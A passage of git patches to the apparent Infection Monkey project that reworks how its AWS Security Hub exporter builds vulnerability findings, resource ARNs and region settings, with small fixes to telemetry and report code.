"AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Weak segmentation - Machines were able to communicate over unused ports.", "Description": "Use micro-segmentation policies to disable communication other than the required.", "Remediation": { @@ -131,6 +131,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -139,18 +147,23 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", + }, "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", "Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ - .format(issue['username']), "Remediation": { + .format(issue['username']), "Remediation": { "Recommendation": { "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( issue['machine'], issue['ip_address'], issue['username']) } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -159,10 +172,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 5, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -172,6 +182,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -180,10 +198,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -193,6 +208,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -201,10 +224,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", "Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), "Remediation": { @@ -214,6 +234,13 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] return finding @staticmethod @@ -222,10 +249,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", + }, "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", "Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": { "Recommendation": { "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( @@ -233,6 +257,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -241,10 +273,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Weak segmentation - Machines from different segments are able to communicate.", "Description": "Segment your network and make sure there is no communication between machines from different segments.", "Remediation": { @@ -257,6 +286,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -265,10 +302,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Multiple users have the same password", + }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password", "Description": "Some users are sharing passwords, this should be fixed by changing passwords.", "Remediation": { "Recommendation": { @@ -276,6 +310,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -284,10 +326,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", + }, "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", "Description": "Update your Bash to a ShellShock-patched version.", "Remediation": { "Recommendation": { "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. " @@ -296,6 +335,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -304,10 +351,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -317,6 +361,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -325,10 +377,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", "Remediation": { @@ -338,6 +387,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -346,10 +403,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -359,6 +413,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -367,10 +429,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( issue['username']), "Remediation": { @@ -380,6 +439,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -388,10 +455,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", + }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", "Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.", "Remediation": { "Recommendation": { @@ -400,6 +464,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -408,10 +480,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Shared local administrator account - Different machines have the same account as a local administrator.", "Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", "Remediation": { @@ -421,6 +490,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -429,10 +506,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 1, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", + }, "RecordState": "ACTIVE", "Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.", "Description": "This critical machine is open to attacks via strong users with access to it.", "Remediation": { @@ -442,6 +516,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -450,10 +532,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", + }, "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", "Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": { "Recommendation": { "Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." @@ -462,6 +541,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -470,10 +557,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", + }, "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", "Description": "Install Oracle critical patch updates. Or update to the latest version. " \ "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", "Remediation": { @@ -484,6 +568,14 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding @staticmethod @@ -492,10 +584,7 @@ class AWSExporter(Exporter): {"Severity": { "Product": 10, "Normalized": 100 - }, "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", + }, "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", "Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": { "Recommendation": { "Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." @@ -503,4 +592,12 @@ class AWSExporter(Exporter): } }} + if 'aws_instance_id' in issue: + finding["Resources"] = [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }] + else: + finding["Resources"] = [{'Type': 'Other'}] + return finding diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 82211562f..3ca292587 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,6 +1,6 @@ { "server_config": "standard", "aws": { - "sec_hub_product_arn": "arn:aws:securityhub:eu-west-2:324264561773:product/guardicore/aws-infection-monkey" + "sec_hub_product_arn": "324264561773:product/guardicore/aws-infection-monkey" } } \ No newline at end of file From 8397af4c6b6ee2db5521aa9fde7a09cf5e16b2e1 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 14:56:46 +0200 Subject: [PATCH 049/201] * Added region to finding sending configuration for boto3 --- .../monkey_island/cc/resources/aws_exporter.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index d98cececd..ab9c74185 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -20,7 +20,7 @@ class AWSExporter(Exporter): @staticmethod def handle_report(report_json): - + aws = AWS() findings_list = [] issues_list = report_json['recommendations']['issues'] if not issues_list: @@ -29,9 +29,9 @@ class AWSExporter(Exporter): for machine in issues_list: for issue in issues_list[machine]: if issue.get('aws_instance_id', None): - findings_list.append(AWSExporter._prepare_finding(issue)) + findings_list.append(AWSExporter._prepare_finding(issue, aws.get_region())) - if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): + if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys(), aws.get_region()): logger.error('Exporting findings to aws failed') return False @@ -52,7 +52,7 @@ class AWSExporter(Exporter): return z @staticmethod - def _prepare_finding(issue): + def _prepare_finding(issue, region): findings_dict = { 'island_cross_segment': AWSExporter._handle_island_cross_segment_issue, 'ssh': AWSExporter._handle_ssh_issue, @@ -76,9 +76,8 @@ class AWSExporter(Exporter): # azure and conficker are not relevant issues for an AWS env } - aws = AWS() configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') - product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=aws.get_region(), arn=configured_product_arn) + product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { @@ -96,11 +95,12 @@ class AWSExporter(Exporter): return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) @staticmethod - def _send_findings(findings_list, creds_dict): + def _send_findings(findings_list, creds_dict, region): try: securityhub = boto3.client('securityhub', aws_access_key_id=creds_dict.get('aws_access_key_id', ''), - aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) + aws_secret_access_key=creds_dict.get('aws_secret_access_key', ''), + region_name=region) import_response = securityhub.batch_import_findings(Findings=findings_list) print import_response From 0fe7a9c6e1027aa4727bc23e1aae7f0c9d01f568 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 15:02:17 +0200 Subject: [PATCH 050/201] * Match it back to aws env --- monkey/monkey_island/cc/services/report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 09e12edcd..b89266cad 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if str(load_env_from_file()) == 'standard': + if str(load_env_from_file()) == AWS: exporters_list.append(AWSExporter) return exporters_list From 9d36cf399008e2319db7945630177bb3ab247d6d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 15:30:46 +0200 Subject: [PATCH 051/201] * add the right key in telemetry * added error handling in report.py --- monkey/monkey_island/cc/resources/telemetry.py | 3 ++- monkey/monkey_island/cc/services/report.py | 6 +++++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index ab911a119..c5d9ef8a6 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,7 +192,8 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - mongo.db.monkey.update_one({'_id': monkey_id}, {'aws_instance_id': telemetry_json['data']['instance-id']}) + mongo.db.monkey.update_one({'_id': monkey_id}, + {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index b89266cad..3120194a3 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -553,7 +553,11 @@ class ReportService: @staticmethod def get_machine_aws_instance_id(hostname): - return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0].get('aws_instance_id', None)) + aws_instance_id_list = list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + if aws_instance_id_list: + return str(aws_instance_id_list[0].get('aws_instance_id', None)) + else: + return None @staticmethod def get_issues(): From 25340e99986e9776a4e24b853e2d2986d73c514a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 17:05:10 +0200 Subject: [PATCH 052/201] * Deleted print statement * Added further inspection in telemtry --- monkey/monkey_island/cc/resources/aws_exporter.py | 1 - monkey/monkey_island/cc/resources/telemetry.py | 5 +++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index ab9c74185..a3ee0309a 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -103,7 +103,6 @@ class AWSExporter(Exporter): region_name=region) import_response = securityhub.batch_import_findings(Findings=findings_list) - print import_response if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: return True else: diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index c5d9ef8a6..581cbf3dc 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,8 +192,9 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - mongo.db.monkey.update_one({'_id': monkey_id}, - {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) + if 'instance-id' in telemetry_json['data']['aws']: + mongo.db.monkey.update_one({'_id': monkey_id}, + {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): From 1c99636414769d2e405b3dbf56e504821a299bc7 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 17:40:32 +0200 Subject: [PATCH 053/201] * Changed the resource id to be instance arn and not only instance id --- .../cc/resources/aws_exporter.py | 81 ++++++++++--------- 1 file changed, 41 insertions(+), 40 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index a3ee0309a..412b8390a 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -77,7 +77,8 @@ class AWSExporter(Exporter): } configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') - product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) + product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region='us-west-2', arn=configured_product_arn) + instance_arn = 'arn:aws:ec2:' + region + ':instance:{instance_id}' account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { @@ -92,7 +93,7 @@ class AWSExporter(Exporter): "CreatedAt": datetime.now().isoformat() + 'Z', "UpdatedAt": datetime.now().isoformat() + 'Z', } - return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) + return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn)) @staticmethod def _send_findings(findings_list, creds_dict, region): @@ -115,7 +116,7 @@ class AWSExporter(Exporter): return False @staticmethod - def _handle_tunnel_issue(issue): + def _handle_tunnel_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 5, @@ -133,7 +134,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -141,7 +142,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_sambacry_issue(issue): + def _handle_sambacry_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -158,7 +159,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -166,7 +167,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_smb_pth_issue(issue): + def _handle_smb_pth_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 5, @@ -184,7 +185,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -192,7 +193,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_ssh_issue(issue): + def _handle_ssh_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -210,7 +211,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -218,7 +219,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_ssh_key_issue(issue): + def _handle_ssh_key_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -236,14 +237,14 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] return finding @staticmethod - def _handle_elastic_issue(issue): + def _handle_elastic_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -259,7 +260,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -267,7 +268,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_island_cross_segment_issue(issue): + def _handle_island_cross_segment_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -288,7 +289,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -296,7 +297,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_shared_passwords_issue(issue): + def _handle_shared_passwords_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -312,7 +313,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -320,7 +321,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_shellshock_issue(issue): + def _handle_shellshock_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -337,7 +338,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -345,7 +346,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_smb_password_issue(issue): + def _handle_smb_password_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -363,7 +364,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -371,7 +372,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_wmi_password_issue(issue): + def _handle_wmi_password_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -389,7 +390,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -397,7 +398,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_wmi_pth_issue(issue): + def _handle_wmi_pth_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -415,7 +416,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -423,7 +424,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_rdp_issue(issue): + def _handle_rdp_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -441,7 +442,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -449,7 +450,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_shared_passwords_domain_issue(issue): + def _handle_shared_passwords_domain_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -466,7 +467,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -474,7 +475,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_shared_admins_domain_issue(issue): + def _handle_shared_admins_domain_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -492,7 +493,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -500,7 +501,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_strong_users_on_crit_issue(issue): + def _handle_strong_users_on_crit_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 1, @@ -518,7 +519,7 @@ class AWSExporter(Exporter): if 